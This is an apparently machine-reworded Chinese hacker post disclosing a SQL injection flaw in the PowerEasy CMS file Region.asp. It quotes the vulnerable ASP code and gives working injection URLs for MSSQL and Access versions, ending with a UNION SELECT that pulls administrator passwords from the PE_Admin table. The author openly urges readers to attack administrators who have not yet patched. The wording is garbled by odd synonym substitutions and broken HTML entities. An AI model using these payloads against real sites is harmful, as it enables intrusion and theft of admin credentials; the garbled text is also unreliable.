哇哈哈,昨天看到动易出补丁了,甚是郁闷,俺拿到这个0day都还没最先玩,就这样被洗白鸟,郁闷啊,早知道不玩动易主站,而且是get提交方式,当初若是听CN的话,也许这个0day还会一直埋在地下,刚看了下动易的补丁,这次补的地方不至这一个,哈哈,传说的7个以上的bug,不知道还省几个呢?下面是也许一个月前写的器械,发出来给人人搞一些懒惰的管理员,补丁都发2天了,还没补的话,就是管理员的错了哦,呵呵~~~38也还没补哦,要上的就快上,哈哈~~~ 文章题目:动易最新未公开Bug文章作者:WhyTt破绽发现时间:年10月22日小我私家Blog:http://why_tt.mblogger.cn //小我私家小我私家Blog:http://whytt.mblogger.cn //手艺影响版本:ACCESS和MSSQL 今天下昼看了一个下昼的动网代码,头甚是疼,于是晚上回来,找找动易另有其他破绽没,效果一看,还真有一处,逻辑错误!在Region.asp中 Country = ReplaceBadChar(Trim(Request("Country")))Province = ReplaceBadChar(Trim(Request("Province")))City = ReplaceBadChar(Trim(Request("City"))) 对所有传入的变量都进行了过滤,然则编程者在这里: Set TempRs = Conn.Execute("SELECT Province FROM PE_Province WHERE Country='" amp; Country amp; "' ORDER BY ProvinceID")If Err Or TempRs.EOF Then ReDim ShowProvince(0, 0) Province = Trim(Request.QueryString("Province"))Else ShowProvince = TempRs.GetRows(-1)End IfSet TempRs = Conn.Execute("SELECT DISTINCT City FROM PE_City WHERE Province='" amp; Province amp; "'") 人人可以看到,Province = Trim(Request.QueryString("Province")) 这里直接取的是传入的Province,而不是过滤后的,以是这个Province变量危险了,那么在下面他是直接带入了查询,由于Province变量是我们可以随意组织的,以是我们就可以组织我们的SQL语句。 然则要进入这个查询的条件是:Err=true 或者 TempRs.EOF,而要到达这2其中的一个,就是要让Conn.Execute("SELECT Province FROM PE_Province WHERE Country='" amp; Country amp; "' ORDER BY ProvinceID")这条语句在表中查询不到所要找的Country,这样就好组织了。下面是行使代码: 0"gt;http://.0.0.1/Region.asp?Country=ttamp;City=whyttamp;Province=shi'+and+usergt;0-- 就是在 http://.0.0.1/Region.asp?Country=ttamp;City=whyttamp;Province=shi'后面加上我们的SQL注入语句。 这就是整个行使原理,很简单,但也很致命的破绽。 上面是MSSQL版本的行使,而若是要是ACCESS版本中的行使,那么怎么办呢,呵呵,伶俐的你可能以为我在说空话老,看吧。 http://.0.0.1/Region.asp?Country=ttamp;City=whyttamp;Province=shi' and 1=1 and '1'='1 这样的话,我们的and 1=1就是在access版本中的行使。呵呵。这样就完成这个破绽在2个版本的行使。 http://.0.0.1/Region.asp?Country=ttamp;City=whyttamp;Province=shi'+and+1=2+union+select+password+from+PE_Admin+where+1lt;2+and+'1'='1 其中username是要暴的字段,哈哈,通杀的感受爽吧